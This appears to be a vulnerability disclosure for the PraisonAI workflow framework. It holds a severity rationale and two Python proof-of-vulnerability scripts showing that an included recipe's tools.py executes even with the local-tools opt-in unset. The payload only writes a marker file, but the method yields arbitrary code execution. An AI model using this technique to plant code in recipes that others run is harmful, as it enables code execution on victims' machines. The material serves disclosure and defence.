Details
Severity
Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.
Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.
Appendix A - pov.py
#!/usr/bin/env python3
"""Local PoV for PraisonAI workflow include tools.py autoload.
This PoV uses only local files and the public workflow API. It verifies whether
a workflow-local include executes the included recipe's tools.py even when the
PRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.
"""
from __future__ import annotations
import os
import shutil
import sys
import tempfile
from pathlib import Path
MARKER_NAME = "prai_workflow_include_tools_autoload_marker.txt"
def _find_default_repo() -> Path:
for parent in Path(__file__).resolve().parents:
candidate = parent / "artifacts" / "repos" / "praisonai-current"
if candidate.exists():
return candidate
raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int:
repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-"))
old_cwd = Path.cwd()
try:
recipe = workdir / "child_recipe"
recipe.mkdir()
marker = workdir / MARKER_NAME
(recipe / "tools.py").write_text(
"from pathlib import Path\n"
f"Path({str(marker)!r}).write_text('executed')\n"
"def benign_tool():\n"
" return 'ok'\n",
encoding="utf-8",
)
(recipe / "workflow.yaml").write_text(
"name: child\n"
"steps: []\n",
encoding="utf-8",
)
os.chdir(workdir)
from praisonaiagents.workflows.workflows import Workflow, include
workflow = Workflow(steps=[include("child_recipe")])
workflow.run(input="", llm="dummy/local", stream=False)
if marker.exists():
print(
"VULNERABLE: included recipe tools.py executed with "
"PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
)
print(f"marker={marker}")
print(f"marker_content={marker.read_text(encoding='utf-8')}")
return 0
print("NOT VULNERABLE: included recipe tools.py did not execute")
return 1
finally:
os.chdir(old_cwd)
shutil.rmtree(workdir, ignore_errors=True)
if __name__ == "__main__":
raise SystemExit(main())
Appendix B - pov_recipe_run.py
#!/usr/bin/env python3
"""Supplementary local PoV through praisonai.recipe.run().
This exercises the higher-level recipe API. It does not start a network server
or rely on any external service. The payload writes a local marker file only.
"""
from __future__ import annotations
import os
import shutil
import sys
import tempfile
from pathlib import Path
MARKER_NAME = "prai_recipe_run_include_tools_autoload_marker.txt"
def _find_default_repo() -> Path:
for parent in Path(__file__).resolve().parents:
candidate = parent / "artifacts" / "repos" / "praisonai-current"
if candidate.exists():
return candidate
raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int:
repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-"))
old_cwd = Path.cwd()
try:
parent_recipe = workdir / "parent_recipe"
child_recipe = workdir / "child_recipe"
parent_recipe.mkdir()
child_recipe.mkdir()
marker = workdir / MARKER_NAME
(parent_recipe / "TEMPLATE.yaml").write_text(
"name: parent_recipe\n"
"version: 1.0.0\n"
"workflow: workflow.yaml\n",
encoding="utf-8",
)
(parent_recipe / "workflow.yaml").write_text(
"name: parent\n"
"steps:\n"
" - include: child_recipe\n",
encoding="utf-8",
)
(child_recipe / "workflow.yaml").write_text(
"name: child\n"
"steps: []\n",
encoding="utf-8",
)
(child_recipe / "tools.py").write_text(
"from pathlib import Path\n"
f"Path({str(marker)!r}).write_text('executed')\n"
"def benign_tool():\n"
" return 'ok'\n",
encoding="utf-8",
)
os.chdir(workdir)
from praisonai import recipe
result = recipe.run(str(parent_recipe), input={}, options={"force": True})
if marker.exists():
print(
"VULNERABLE: praisonai.recipe.run() reached workflow include "
"tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and "
"PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
)
print(f"recipe_status={result.status}")
print(f"recipe_ok={result.ok}")
print(f"marker={marker}")
print(f"marker_content={marker.read_text(encoding='utf-8')}")
return 0
print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py")
print(f"recipe_status={result.status}")
print(f"recipe_error={result.error}")
return 1
finally:
os.chdir(old_cwd)
shutil.rmtree(workdir, ignore_errors=True)
if __name__ == "__main__":
raise SystemExit(main())